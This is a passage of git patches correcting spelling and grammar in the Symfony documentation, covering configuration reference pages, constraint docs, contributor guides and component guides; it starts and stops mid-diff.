 
 **type**: ``string`` or ``null`` **default**: ``null``
 
-It controls the way cookies are sent when the HTTP request was not originated
-from the same domain the cookies are associated to. Setting this option is
+It controls the way cookies are sent when the HTTP request did not originate
+from the same domain that is associated with the cookies. Setting this option is
 recommended to mitigate `CSRF security attacks`_.
 
 By default, browsers send all cookies related to the domain of the HTTP request.
@@ -1210,7 +1210,7 @@ The possible values for this option are:
   (previously this was the default behavior of null, but in newer browsers ``'lax'``
   would be applied when the header has not been set)
 * ``'strict'`` (or the ``Cookie::SAMESITE_STRICT`` constant), use it to never
-  send any cookie when the HTTP request is not originated from the same domain.
+  send any cookie when the HTTP request did not originate from the same domain.
 * ``'lax'`` (or the ``Cookie::SAMESITE_LAX`` constant), use it to allow sending
   cookies when the request originated from a different domain, but only when the
   user consciously made the request (by clicking a link or submitting a form
@@ -1282,7 +1282,7 @@ sid_bits_per_character
 
 **type**: ``integer`` **default**: ``4``
 
-This determines the number of bits in encoded session ID character. The possible
+This determines the number of bits in the encoded session ID character. The possible
 values are ``4`` (0-9, a-f), ``5`` (0-9, a-v), and ``6`` (0-9, a-z, A-Z, "-", ",").
 The more bits results in stronger session ID. ``5`` is recommended value for
 most environments.
@@ -2134,7 +2134,7 @@ The service that is used to persist class metadata in a cache. The service
 has to implement the :class:`Symfony\\Component\\Validator\\Mapping\\Cache\\CacheInterface`.
 
 Set this option to ``validator.mapping.cache.doctrine.apc`` to use the APC
-cache provide from the Doctrine project.
+cache provided by the Doctrine project.
 
 .. _reference-validation-enable_annotations:
 
@@ -2191,7 +2191,7 @@ By default, the :doc:`NotCompromisedPassword </reference/constraints/NotCompromi
 constraint uses the public API provided by `haveibeenpwned.com`_. This option
 allows to define a different, but compatible, API endpoint to make the password
 checks. It's useful for example when the Symfony application is run in an
-intranet without public access to Internet.
+intranet without public access to the internet.
 
 static_method
 .............
@@ -2547,7 +2547,7 @@ A list of cache pools to be created by the framework extension.
 
 .. seealso::
 
-    For more information about how pools works, see :ref:`cache pools <component-cache-cache-pools>`.
+    For more information about how pools work, see :ref:`cache pools <component-cache-cache-pools>`.
 
 To configure a Redis cache pool with a default lifetime of 1 hour, do the following:
 
@@ -2656,8 +2656,8 @@ provider
 
 Overwrite the default service name or DSN respectively, if you do not want to
 use what is configured as ``default_X_provider`` under ``cache``. See the
-description of the default provider setting above for the type of adapter
-you use for information on how to specify the provider.
+description of the default provider setting above for information on how to
+specify your specific provider.
 
 clearer
 """""""
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 76c8f44eff3..46e16014d19 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -51,7 +51,7 @@ access_denied_url
 **type**: ``string`` **default**: ``null``
 
 Defines the URL where the user is redirected after a ``403`` HTTP error (unless
-you define a custom access deny handler). Example: ``/no-permission``
+you define a custom access denial handler). Example: ``/no-permission``
 
 always_authenticate_before_granting
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -297,7 +297,7 @@ password) so you don't have to deal with it.
 Using the "auto" Password Encoder
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-It selects automatically the best possible encoder. Currently, it tries to use
+It automatically selects the best possible encoder. Currently, it tries to use
 Sodium by default and falls back to the `bcrypt password hashing function`_ if
 not possible. In the future, when PHP adds new hashing techniques, it may use
 different password hashers.
@@ -452,7 +452,7 @@ This is the route or path that the user will be redirected to (unless ``use_forw
 is set to ``true``) when they try to access a protected resource but isn't
 fully authenticated.
 
-This path **must** be accessible by a normal, un-authenticated user, else
+This path **must** be accessible by a normal, unauthenticated user, else
 you may create a redirect loop.
 
 check_path
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index f88a28aaf29..1b343d4f24c 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -106,7 +106,7 @@ local_domain
 
     The ``local_domain`` option was introduced in SwiftMailerBundle 2.4.0.
 
-The domain name to use in ``HELO`` command.
+The domain name to use in the ``HELO`` command.
 
 encryption
 ~~~~~~~~~~
@@ -172,7 +172,7 @@ sleep
 **type**: ``integer`` **default**: ``0``
 
 Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of seconds
-to sleep for during a transport restart.
+to sleep during a transport restart.
 
 .. _delivery-address:
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 40708ce2fd9..f35b3601060 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -129,7 +129,7 @@ format
 **type**: ``string`` **default**: ``F j, Y H:i``
 
 The format used by the ``date`` filter to display values when no specific format
-is passed as argument.
+is passed as an argument.
 
 interval_format
 ...............
@@ -145,7 +145,7 @@ timezone
 **type**: ``string`` **default**: (the value returned by ``date_default_timezone_get()``)
 
 The timezone used when formatting date values with the ``date`` filter and no
-specific timezone is passed as argument.
+specific timezone is passed as an argument.
 
 debug
 ~~~~~
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 018472ab46d..3066ac49332 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -222,7 +222,7 @@ You can then use the following configuration to invoke this validator:
 
     The Callback constraint does *not* support global callback functions
     nor is it possible to specify a global function or a service method
-    as callback. To validate using a service, you should
+    as a callback. To validate using a service, you should
     :doc:`create a custom validation constraint </validation/custom_constraint>`
     and add that new constraint to your class.
 
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index c62b360c2c8..dd15d8eed87 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -85,7 +85,7 @@ Options
 
 **type**: ``string`` **default**: ``Y-m-d H:i:s``
 
-This option allows to validate a custom date format. See
+This option allows you to validate a custom date format. See
 :phpmethod:`DateTime::createFromFormat` for formatting options.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
diff --git a/reference/constraints/_comparison-value-option.rst.inc b/reference/constraints/_comparison-value-option.rst.inc
index b587e46ffef..c8abdfb5af0 100644
--- a/reference/constraints/_comparison-value-option.rst.inc
+++ b/reference/constraints/_comparison-value-option.rst.inc
@@ -3,5 +3,5 @@
 
 **type**: ``mixed`` [:ref:`default option <validation-default-option>`]
 
-This option is required. It defines the value to compare to. It can be a
+This option is required. It defines the comparison value. It can be a
 string, number or object.
diff --git a/reference/constraints/_groups-option.rst.inc b/reference/constraints/_groups-option.rst.inc
index 0de5e2046b5..25ccf6e5d57 100644
--- a/reference/constraints/_groups-option.rst.inc
+++ b/reference/constraints/_groups-option.rst.inc
@@ -3,5 +3,5 @@
 
 **type**: ``array`` | ``string``
 
-It defines the validation group or groups this constraint belongs to. Read more
+It defines the validation group or groups of this constraint. Read more
 about :doc:`validation groups </validation/groups>`.
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index b9dea8349d0..768e4464b75 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -166,7 +166,7 @@ are propagated to their related listeners.
 
 It will replace, in cache for generated service factories, the PHP autoload by
 plain inlined ``include_once``. The benefit is a complete bypass of the autoloader
-for services and their class hierarchy. The result is as significant performance improvement.
+for services and their class hierarchy. The result is a significant performance improvement.
 
 Use this tag with great caution, you have to be sure that the tagged service is always used.
 
@@ -246,7 +246,7 @@ kernel.cache_clearer
 process
 
 Cache clearing occurs whenever you call ``cache:clear`` command. If your
-bundle caches files, you should add custom cache clearer for clearing those
+bundle caches files, you should add a custom cache clearer for clearing those
 files during the cache clearing process.
 
 In order to register your custom cache clearer, first you must create a
@@ -1157,7 +1157,7 @@ twig.runtime
 **Purpose**: To register a custom Lazy-Loaded Twig Extension
 
 :ref:`Lazy-Loaded Twig Extensions <lazy-loaded-twig-extensions>` are defined as
-regular services but the need to be tagged with ``twig.runtime``. If you're using the
+regular services but they need to be tagged with ``twig.runtime``. If you're using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
 the service is auto-registered and auto-tagged. But, you can also register it manually:
 

From 701971102995e8666f88facd31f167f57a3e1dd0 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 14:07:54 -0400
Subject: [PATCH 2878/7107] Correct spelling & grammar in 4.4. contributing/

---
 contributing/code/bc.rst                         |  2 +-
 contributing/code/core_team.rst                  |  4 ++--
 contributing/code/maintenance.rst                |  2 +-
 contributing/code/stack_trace.rst                |  8 ++++----
 contributing/code/standards.rst                  |  2 +-
 contributing/code_of_conduct/code_of_conduct.rst |  2 +-
 .../code_of_conduct/reporting_guidelines.rst     |  2 +-
 contributing/community/mentoring.rst             |  2 +-
 contributing/community/releases.rst              |  2 +-
 contributing/community/review-comments.rst       | 16 ++++++++--------
 contributing/community/reviews.rst               |  2 +-
 contributing/community/speaker-mentoring.rst     |  2 +-
 contributing/diversity/governance.rst            |  4 ++--
 contributing/documentation/overview.rst          |  4 ++--
 contributing/translations/index.rst              |  2 +-
 15 files changed, 28 insertions(+), 28 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 65e7b1d3181..482ac16d65b 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -10,7 +10,7 @@ may introduce new features, but must do so without breaking the existing API of
 that release branch (5.x in the previous example).
 
 We also provide deprecation message triggered in the code base to help you with
-the migration process across major release.
+the migration process across major releases.
 
 .. caution::
 
diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index e3aa1d4660e..1607c7c0252 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -109,7 +109,7 @@ Symfony contributions:
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-About once a year, the core team discuss the opportunity to invite new members.
+About once a year, the core team discusses the opportunity to invite new members.
 
 Core Membership Revocation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -171,7 +171,7 @@ The **Project Leader** is also the release manager for every Symfony version.
 Symfony Core Rules and Protocol Amendments
 ------------------------------------------
 
-The rules described in this document may be amended at anytime at the
+The rules described in this document may be amended at any time at the
 discretion of the **Project Leader**.
 
 .. [1] Minor changes comprise typos, DocBlock fixes, code standards
diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index 854cd74b219..e03c22cabf3 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -74,7 +74,7 @@ are never accepted in a patch version:
 .. note::
 
     This policy is designed to enable a continuous upgrade path that allows one
-    to move forward with newest Symfony versions in the safest way. One should
+    to move forward with the newest Symfony versions in the safest way. One should
     be able to move PHP versions, OS or Symfony versions almost independently.
     That's the reason why supporting the latest PHP versions or OS features is
     considered as bug fixes.
diff --git a/contributing/code/stack_trace.rst b/contributing/code/stack_trace.rst
index b0ad81c77cd..cd672e05a2a 100644
--- a/contributing/code/stack_trace.rst
+++ b/contributing/code/stack_trace.rst
@@ -56,7 +56,7 @@ things for you beforehand, like routing or access control.
 Symfony being both a framework and library of components, it calls your
 code and then your code might call it. This means you will always have
 at least 2 parts, very often 3 in your stack traces when using Symfony:
-a part that starts in one of the entrypoints of the framework
+a part that starts in one of the entry points of the framework
 (``bin/console`` or ``public/index.php`` in most cases), and ends when
 reaching your code, most times in a command or in a controller found under
 ``src``. Then, either the exception is thrown in your code or in
@@ -75,7 +75,7 @@ Next, you can have a look at what packages are involved. Files under
 library and ``acme/router`` the Composer package. If you plan on
 reporting the bug, make sure to report it to the library throwing the
 exception. ``composer home acme/router`` should lead you to the right
-place for that. As Symfony is a monorepository, use ``composer home
+place for that. As Symfony is a mono-repository, use ``composer home
 symfony/symfony`` when reporting a bug for any component.
 
 Getting Stack Traces with Symfony
@@ -92,7 +92,7 @@ from your development environment through a web browser:
 
 1. Are there several exceptions? If yes, the most interesting one is
    often exception 1/n which, is shown *last* in the example below (it
-   is the one marked as exception [1/2]).
+   is the one marked as an exception [1/2]).
 2. Under the "Stack Traces" tab, you will find exceptions in plain
    text, so that you can easily share them in e.g. bug reports. Make
    sure to **remove any sensitive information** before doing so.
@@ -109,7 +109,7 @@ Since stack traces may contain sensitive data, they should not be
 exposed in production. Getting a stack trace from your production
 environment, although more involving, is still possible with solutions
 that include but are not limited to sending them to an email address
-with monolog.
+with Monolog.
 
 Stack Traces in the CLI
 ~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index ab4ca19ff4c..92b4af2b5f3 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -78,7 +78,7 @@ short example containing most features described below::
         }
 
         /**
-         * Transforms the input given as first argument.
+         * Transforms the input given as the first argument.
          *
          * @param bool|string $dummy   Some argument description
          * @param array       $options An options collection to be used within the transformation
diff --git a/contributing/code_of_conduct/code_of_conduct.rst b/contributing/code_of_conduct/code_of_conduct.rst
index b4fddcb9bc2..dcaf5f8ce9e 100644
--- a/contributing/code_of_conduct/code_of_conduct.rst
+++ b/contributing/code_of_conduct/code_of_conduct.rst
@@ -53,7 +53,7 @@ Scope
 
 This Code of Conduct applies both within project spaces and in public spaces
 when an individual is representing the project or its community. Examples of
-representing a project or community include using an official project e-mail
+representing a project or community include using an official project email
 address, posting via an official social media account, or acting as an appointed
 representative at an online or offline event. Representation of a project may be
 further defined and clarified by CARE team members.
diff --git a/contributing/code_of_conduct/reporting_guidelines.rst b/contributing/code_of_conduct/reporting_guidelines.rst
index 63c4e820ce6..b44fec3743e 100644
--- a/contributing/code_of_conduct/reporting_guidelines.rst
+++ b/contributing/code_of_conduct/reporting_guidelines.rst
@@ -76,7 +76,7 @@ members will not be included in any communication on the incidents as well as re
 created related to the incidents.
 
 CARE team members are expected to inform the CARE team and the reporters
-in case of conflicts on interest and recuse themselves if this is deemed a problem.
+in case of a conflict of interest, and recuse themselves if this is deemed to be a problem.
 
 Appealing the response
 ----------------------
diff --git a/contributing/community/mentoring.rst b/contributing/community/mentoring.rst
index 040a6ee90f0..511a61e6e82 100644
--- a/contributing/community/mentoring.rst
+++ b/contributing/community/mentoring.rst
@@ -7,7 +7,7 @@ it might still seem overwhelming - contributing can be complex! For this
 purpose we created a dedicated `Symfony Slack`_ channel called `#mentoring`_
 to connect new contributors to long-time contributors. This is a great way
 to get one-on-one advice on the entire process. These long-time contributors
-do really want to help new contributors - so feel free to ask anything!
+truly want to help new contributors - so feel free to ask anything!
 
 .. _`Symfony Slack`: https://symfony.com/slack-invite
 .. _`#mentoring`: https://symfony-devs.slack.com/messages/mentoring
diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index a34a9111df9..c717aea5c2a 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -80,7 +80,7 @@ of Symfony to the next one.
 
 When a feature implementation cannot be replaced with a better one without
 breaking backward compatibility, Symfony deprecates the old implementation and
-adds a new preferred one along side. Read the
+adds a new preferred one alongside. Read the
 :ref:`conventions <contributing-code-conventions-deprecations>` document to
 learn more about how deprecations are handled in Symfony.
 
diff --git a/contributing/community/review-comments.rst b/contributing/community/review-comments.rst
index 36bad6d7221..0a048d8fa6e 100644
--- a/contributing/community/review-comments.rst
+++ b/contributing/community/review-comments.rst
@@ -28,8 +28,8 @@ constructive, respectful and helpful reviews and replies.
     welcoming place for everyone. **You are free to disagree with
     someone's opinions, but don't be disrespectful.**
 
-First of, accept that many programming decisions are opinions.
-Discuss trade offs, which you prefer, and reach a resolution quickly.
+It’s important to accept that many programming decisions are opinions.
+Discuss trade-offs, which you prefer, and reach a resolution quickly.
 It's not about being right or wrong, but using what works.
 
 Tone of Voice
@@ -118,13 +118,13 @@ If a piece of code is in fact wrong, explain why:
 * "We only provide integration with very popular projects (e.g. we integrate Bootstrap but not your own CSS framework)"
 
 * "This would require adding lots of code and making lots of changes for a feature that doesn't look so important.
-  That could hurt maintaining in the future."
+  That could hurt maintenance in the future."
 
 Asking for Changes
 ------------------
 
 Rarely something is perfect from the start, while the code itself is good.
-It may not be optimal or conform the Symfony coding style.
+It may not be optimal or conform to the Symfony coding style.
 
 Again, understand the author already spent time on the issue and asking
 for (small) changes may be misinterpreted or seen as a personal attack.
@@ -143,7 +143,7 @@ Use words like "Please", "Thank you" and "Could you" instead of making demands;
 
 * "Please use 4 spaces instead of tabs", "This needs be on the previous line";
 
-During a pull request review you can usually leave more then one comment,
+During a pull request review you can usually leave more than one comment,
 you don't have to use "Please" all the time. But it wouldn't hurt.
 
 It may not seem like much, but saying "Thank you" does make others feel
@@ -158,7 +158,7 @@ In that case, it is better to try to approach the discussion in
 a different way, to not escalate further.
 
 If you want someone to mediate, please join the ``#contribs`` channel on `Symfony Slack`_,
-to have a safe environment and keep working together on the common goals.
+to have a safe environment and keep working together on common goals.
 
 Using Humor
 -----------
@@ -172,8 +172,8 @@ to the Symfony community.** And don't marginalize someone's problems;
 
 Even if someone's explanation is "inviting to joke about it", it's a real
 problem to them. Making jokes about this doesn't help with solving their
-problem and only makes them *feel stupid*. Instead try to discover what
-the problem is really about.
+problem and only makes them *feel stupid*. Instead, try to discover the
+actual problem.
 
 Final Words
 -----------
diff --git a/contributing/community/reviews.rst b/contributing/community/reviews.rst
index 14d8b71a28d..bca36099eeb 100644
--- a/contributing/community/reviews.rst
+++ b/contributing/community/reviews.rst
@@ -109,7 +109,7 @@ to understand the functionality that has been fixed or added and find out
 whether the implementation is complete.
 
 It is okay to do partial reviews! If you do a partial review, comment how far
-you got and leave the PR in "Needs Review" state.
+you got and leave the PR in the "Needs Review" state.
 
 Pick a pull request from the `PRs in need of review`_ and follow these steps:
 
diff --git a/contributing/community/speaker-mentoring.rst b/contributing/community/speaker-mentoring.rst
index d8dc6bdde71..82b25c61f57 100644
--- a/contributing/community/speaker-mentoring.rst
+++ b/contributing/community/speaker-mentoring.rst
@@ -23,7 +23,7 @@ speakers with people who are just taking their first steps in this area:
 
     A good first step might be to give a talk at a local user group to a
     smaller crowd that one knows more intimately. A next step could be to
-    give a talk at conference in your first language.
+    give a talk at a conference in your first language.
 
 The best way to find people that can review your talk idea or slides is
 the `#speaker-mentoring`_ channel on `Symfony Slack`_. There are many
diff --git a/contributing/diversity/governance.rst b/contributing/diversity/governance.rst
index 8dd302ccc0a..93a79ed30fa 100644
--- a/contributing/diversity/governance.rst
+++ b/contributing/diversity/governance.rst
@@ -64,11 +64,11 @@ knowing that the responsibility they accept for said vote is justified.
 Voting
 ~~~~~~
 
-The guidance team have the right to vote on proposals for actionable items.
+The guidance team has the right to vote on proposals for actionable items.
 The quorum of "yes" or "no" votes required for a decision to be considered valid
 is at least 75% of active, appointed members of the guidance team - to abstain
 from voting means that vote will not be counted towards the quorum.
-For an actionable item to pass, approval from greater than 50% of the voting
+For an actionable item to pass, approval from more than 50% of the voting
 guidance team members is required. Use or management of finances/donations
 require at least a two-thirds majority to pass.
 
diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 6213c569289..756502b4214 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -194,7 +194,7 @@ Your Next Documentation Contributions
 
 Check you out! You've made your first contribution to the Symfony documentation!
 Somebody throw a party! Your first contribution took a little extra time because
-you needed to learn a few standards and setup your computer. But from now on,
+you had to learn a few standards and set up your computer. But from now on,
 your contributions will be much easier to complete.
 
 Here is a **checklist** of steps that will guide you through your next
@@ -288,7 +288,7 @@ The generated documentation is available in the ``_build/html`` directory.
 Frequently Asked Questions
 --------------------------
 
-Why Do my Changes Take so Long to Be Reviewed and/or Merged?
+Why Do My Changes Take So Long to Be Reviewed and/or Merged?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Please be patient. It can take up to several days before your pull request can
diff --git a/contributing/translations/index.rst b/contributing/translations/index.rst
index d865111f0cf..82679a6a0f2 100644
--- a/contributing/translations/index.rst
+++ b/contributing/translations/index.rst
@@ -8,7 +8,7 @@ following error message by default: "This value is not a valid timezone."
 
 These messages are translated into tens of languages thanks to the Symfony
 community. Symfony adds new messages on a regular basis, so this is an ongoing
-translation process and you can help us providing the missing translations.
+translation process and you can help us by providing the missing translations.
 
 How to Contribute a Translation
 -------------------------------

From df23ae3a08061fb06479f9b26831ec9246424637 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 13:24:46 -0400
Subject: [PATCH 2879/7107] Correct spelling & grammar in 4.4 components/

---
 components/asset.rst            |  4 ++--
 components/http_kernel.rst      | 10 +++++-----
 components/inflector.rst        |  2 +-
 components/lock.rst             | 24 ++++++++++++------------
 components/mime.rst             |  4 ++--
 components/options_resolver.rst |  8 ++++----
 components/process.rst          |  4 ++--
 components/property_access.rst  |  2 +-
 components/property_info.rst    |  2 +-
 components/serializer.rst       |  4 ++--
 components/var_exporter.rst     |  2 +-
 11 files changed, 33 insertions(+), 33 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index 6aab732333f..5be1003ef15 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -8,7 +8,7 @@ The Asset Component
     The Asset component manages URL generation and versioning of web assets such
     as CSS stylesheets, JavaScript files and image files.
 
-In the past, it was common for web applications to hardcode URLs of web assets.
+In the past, it was common for web applications to hard-code the URLs of web assets.
 For example:
 
 .. code-block:: html
@@ -357,7 +357,7 @@ they all have different base paths::
     $packages = new Packages($defaultPackage, $namedPackages);
 
 The ``Packages`` class allows to define a default package, which will be applied
-to assets that don't define the name of package to use. In addition, this
+to assets that don't define the name of the package to use. In addition, this
 application defines a package named ``img`` to serve images from an external
 domain and a ``doc`` package to avoid repeating long paths when linking to a
 document inside a template::
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index ac2733058e0..0bdb8c24b2f 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -249,7 +249,7 @@ on the request's information.
 
     The Symfony Framework uses the built-in
     :class:`Symfony\\Component\\HttpKernel\\Controller\\ControllerResolver`
-    class (actually, it uses a sub-class with some extra functionality
+    class (actually, it uses a subclass with some extra functionality
     mentioned below). This class leverages the information that was placed
     on the ``Request`` object's ``attributes`` property during the ``RouterListener``.
 
@@ -358,7 +358,7 @@ of arguments that should be passed when executing that callable.
 5) Calling the Controller
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The next step ``HttpKernel::handle()`` does is executing the controller.
+The next step of ``HttpKernel::handle()`` is executing the controller.
 
 The job of the controller is to build the response for the given resource.
 This could be an HTML page, a JSON string or anything else. Unlike every
@@ -602,7 +602,7 @@ on creating and attaching event listeners, see :doc:`/components/event_dispatche
 
 The name of each of the "kernel" events is defined as a constant on the
 :class:`Symfony\\Component\\HttpKernel\\KernelEvents` class. Additionally, each
-event listener is passed a single argument, which is some sub-class of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`.
+event listener is passed a single argument, which is some subclass of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`.
 This object contains information about the current state of the system and
 each event has their own event object:
 
@@ -692,7 +692,7 @@ Sub Requests
 ------------
 
 In addition to the "main" request that's sent into ``HttpKernel::handle()``,
-you can also send so-called "sub request". A sub request looks and acts like
+you can also send a so-called "sub request". A sub request looks and acts like
 any other request, but typically serves to render just one small portion of
 a page instead of a full page. You'll most commonly make sub-requests from
 your controller (or perhaps from inside a template, that's being rendered by
@@ -721,7 +721,7 @@ argument as follows::
 This creates another full request-response cycle where this new ``Request`` is
 transformed into a ``Response``. The only difference internally is that some
 listeners (e.g. security) may only act upon the master request. Each listener
-is passed some sub-class of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`,
+is passed some subclass of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`,
 whose :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMasterRequest`
 can be used to check if the current request is a "master" or "sub" request.
 
diff --git a/components/inflector.rst b/components/inflector.rst
index 5e9f4325884..960cb04d4ba 100644
--- a/components/inflector.rst
+++ b/components/inflector.rst
@@ -60,5 +60,5 @@ forms::
     Inflector::singularize('indices'); // ['index', 'indix', 'indice']
     Inflector::singularize('leaves');  // ['leaf', 'leave', 'leaff']
 
-    Inflector::pluralize('matrix');    // ['matricies', 'matrixes']
+    Inflector::pluralize('matrix');    // ['matrices', 'matrixes']
     Inflector::pluralize('person');    // ['persons', 'people']
diff --git a/components/lock.rst b/components/lock.rst
index 3789cb5d22a..60b53a3a906 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -51,7 +51,7 @@ method will try to acquire the lock::
 
     if ($lock->acquire()) {
         // The resource "pdf-invoice-generation" is locked.
-        // You can compute and generate invoice safely here.
+        // You can compute and generate the invoice safely here.
 
         $lock->release();
     }
@@ -70,7 +70,7 @@ method can be safely called repeatedly, even if the lock is already acquired.
 .. tip::
 
     If you don't release the lock explicitly, it will be released automatically
-    on instance destruction. In some cases, it can be useful to lock a resource
+    upon instance destruction. In some cases, it can be useful to lock a resource
     across several requests. To disable the automatic release behavior, set the
     third argument of the ``createLock()`` method to ``false``.
 
@@ -79,7 +79,7 @@ Serializing Locks
 
 The ``Key`` contains the state of the ``Lock`` and can be serialized. This
 allows the user to begin a long job in a process by acquiring the lock, and
-continue the job in an other process using the same lock::
+continue the job in another process using the same lock::
 
     use Symfony\Component\Lock\Key;
     use Symfony\Component\Lock\Lock;
@@ -203,7 +203,7 @@ as seconds) and ``isExpired()`` (which returns a boolean).
 Automatically Releasing The Lock
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Lock are automatically released when their Lock objects are destructed. This is
+Locks are automatically released when their Lock objects are destructed. This is
 an implementation detail that will be important when sharing Locks between
 processes. In the example below, ``pcntl_fork()`` creates two processes and the
 Lock will be released automatically as soon as one process finishes::
@@ -555,11 +555,11 @@ FlockStore
 ~~~~~~~~~~
 
 By using the file system, this ``Store`` is reliable as long as concurrent
-processes use the same physical directory to stores locks.
+processes use the same physical directory to store locks.
 
 Processes must run on the same machine, virtual machine or container.
-Be careful when updating a Kubernetes or Swarm service because for a short
-period of time, there can be two running containers in parallel.
+Be careful when updating a Kubernetes or Swarm service because, for a short
+period of time, there can be two containers running in parallel.
 
 The absolute path to the directory must remain the same. Be careful of symlinks
 that could change at anytime: Capistrano and blue/green deployment often use
@@ -571,7 +571,7 @@ Some file systems (such as some types of NFS) do not support locking.
 .. caution::
 
     All concurrent processes must use the same physical file system by running
-    on the same machine and using the same absolute path to locks directory.
+    on the same machine and using the same absolute path to the lock directory.
 
     By definition, usage of ``FlockStore`` in an HTTP context is incompatible
     with multiple front servers, unless to ensure that the same resource will
@@ -593,7 +593,7 @@ MemcachedStore
 
 The way Memcached works is to store items in memory. That means that by using
 the :ref:`MemcachedStore <lock-store-memcached>` the locks are not persisted
-and may disappear by mistake at anytime.
+and may disappear by mistake at any time.
 
 If the Memcached service or the machine hosting it restarts, every lock would
 be lost without notifying the running processes.
@@ -629,7 +629,7 @@ The PdoStore relies on the `ACID`_ properties of the SQL engine.
 .. caution::
 
     In a cluster configured with multiple primaries, ensure writes are
-    synchronously propagated to every nodes, or always use the same node.
+    synchronously propagated to every node, or always use the same node.
 
 .. caution::
 
@@ -650,7 +650,7 @@ RedisStore
 
 The way Redis works is to store items in memory. That means that by using
 the :ref:`RedisStore <lock-store-redis>` the locks are not persisted
-and may disappear by mistake at anytime.
+and may disappear by mistake at any time.
 
 If the Redis service or the machine hosting it restarts, every locks would
 be lost without notifying the running processes.
@@ -677,7 +677,7 @@ removed by mistake.
 CombinedStore
 ~~~~~~~~~~~~~
 
-Combined stores allow to store locks across several backends. It's a common
+Combined stores allow the storage of locks across several backends. It's a common
 mistake to think that the lock mechanism will be more reliable. This is wrong.
 The ``CombinedStore`` will be, at best, as reliable as the least reliable of
 all managed stores. As soon as one managed store returns erroneous information,
diff --git a/components/mime.rst b/components/mime.rst
index 9f6b0aaec92..965c7a377ae 100644
--- a/components/mime.rst
+++ b/components/mime.rst
@@ -38,7 +38,7 @@ complexity to provide two ways of creating MIME messages:
 * A high-level API based on the :class:`Symfony\\Component\\Mime\\Email` class
   to quickly create email messages with all the common features;
 * A low-level API based on the :class:`Symfony\\Component\\Mime\\Message` class
-  to have an absolute control over every single part of the email message.
+  to have absolute control over every single part of the email message.
 
 Usage
 -----
@@ -60,7 +60,7 @@ methods to compose the entire email message::
         ->html('<h1>Lorem ipsum</h1> <p>...</p>')
     ;
 
-This only purpose of this component is to create the email messages. Use the
+The only purpose of this component is to create the email messages. Use the
 :doc:`Mailer component </mailer>` to actually send them.
 
 Twig Integration
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 7fda38acc07..4d556d86fda 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -434,8 +434,8 @@ if you need to use other options during normalization::
         }
     }
 
-To normalize a new allowed value in sub-classes that are being normalized
-in parent classes use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addNormalizer`.
+To normalize a new allowed value in subclasses that are being normalized
+in parent classes, use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addNormalizer` method.
 This way, the ``$value`` argument will receive the previously normalized
 value, otherwise you can prepend the new normalizer by passing ``true`` as
 third argument.
@@ -452,7 +452,7 @@ encryption chosen by the user of the ``Mailer`` class. More precisely, you want
 to set the port to ``465`` if SSL is used and to ``25`` otherwise.
 
 You can implement this feature by passing a closure as the default value of
-the ``port`` option. The closure receives the options as argument. Based on
+the ``port`` option. The closure receives the options as arguments. Based on
 these options, you can return the desired default value::
 
     use Symfony\Component\OptionsResolver\Options;
@@ -484,7 +484,7 @@ these options, you can return the desired default value::
 .. note::
 
     The closure is only executed if the ``port`` option isn't set by the user
